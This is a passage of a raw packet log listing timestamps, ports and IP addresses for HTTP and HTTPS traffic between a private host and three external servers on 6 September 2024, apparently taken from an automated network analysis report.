Sep 6, 2024 08:17:08.031034946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031039953 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031044960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031059980 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031070948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031080008 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031116009 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031126976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031132936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031174898 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031236887 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031243086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031254053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031259060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031264067 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031289101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031291008 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031294107 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031325102 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031327963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031333923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031337023 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031405926 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031438112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031443119 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031454086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031459093 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031465054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031470060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.031506062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.031506062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034077883 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034090996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034096956 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034135103 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034145117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034152031 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034162998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034168959 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034190893 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034203053 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034221888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034257889 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034259081 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034265041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034276962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034281969 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034307003 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034327030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034327984 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034333944 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034344912 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034349918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034356117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034380913 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034383059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034383059 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034387112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034425974 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034446955 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034452915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034460068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034471035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034476995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034508944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034521103 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034545898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034558058 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034568071 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034574032 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034579039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034611940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034632921 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034638882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.034638882 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.034686089 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035526037 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035531998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035542011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035579920 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035588980 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035595894 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035607100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035613060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035634041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035640001 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035644054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035654068 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035662889 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035680056 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035686016 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035686016 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035696030 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035715103 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035763025 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035799026 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035804987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035809994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035851002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035856962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035860062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035862923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035887003 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035917997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035923958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035934925 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035940886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.035975933 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.035975933 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.036036015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036041021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036046982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036051035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036056042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036061049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036072969 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036082983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.036082983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.036084890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036091089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036097050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036103010 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036109924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036115885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036120892 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.036153078 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.036153078 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.042397976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042401075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042411089 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042452097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.042457104 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042463064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042467117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042471886 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042493105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042496920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.042505026 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.042526960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.052007914 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052012920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052022934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052063942 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.052081108 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052084923 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052094936 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052113056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052118063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052123070 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052129030 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.052159071 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.052170038 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.052244902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052249908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052254915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052259922 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052264929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.052283049 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.052308083 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.058514118 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.058520079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.058531046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.058593988 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.058655024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.058666945 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.058672905 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.058676958 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.058729887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.058729887 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059056044 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059061050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059071064 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059077024 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059127092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059127092 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059190989 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059247971 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059381008 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059386015 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059391975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059395075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059433937 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059457064 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059531927 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059537888 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059542894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059547901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059557915 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059564114 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059568882 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059573889 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059578896 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059582949 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059583902 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059593916 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059600115 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059603930 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059609890 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059609890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059621096 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.059628963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059638023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059643030 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059645891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059645891 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059648037 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059653997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059659004 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059667110 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059681892 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059683084 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.059734106 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059739113 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059747934 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059751987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059757948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059762955 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059777975 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059782028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059784889 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059792995 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059798002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059801102 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059803963 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059815884 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059820890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059822083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059825897 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059849977 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059858084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059864998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059875011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059876919 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059880972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059890032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.059900999 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.059927940 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060055017 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060060978 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060070038 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060075045 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060080051 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060085058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060091019 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060095072 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060100079 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.060103893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060111046 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060116053 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060121059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060131073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060132980 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060134888 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060149908 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060154915 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060157061 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.060158014 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060158968 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.060172081 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060200930 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060230017 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.060561895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060609102 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060616016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060621977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060666084 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060672998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060678959 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060683966 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060689926 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060722113 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060729980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060736895 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060748100 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060780048 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060862064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060868025 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060878038 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060883999 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060889006 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060895920 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.060914993 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.060940981 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061005116 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061031103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061037064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061045885 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061052084 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061057091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061062098 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061063051 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061068058 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061074972 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061099052 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061125994 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061166048 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.061201096 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.061224937 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.061232090 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:08.061254025 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.061264038 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:08.061352015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061358929 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061366081 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061377048 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061382055 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061388016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061393023 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061400890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061405897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061413050 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061445951 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061446905 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061469078 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061501980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061507940 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061518908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061549902 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061616898 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061621904 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061633110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061638117 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061641932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:08.061674118 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.061685085 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:08.064347982 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064354897 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064366102 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064398050 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064403057 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064414978 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:08.064451933 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:08.064459085 CEST	80	49737	147.45.44.104	192.168.2.4
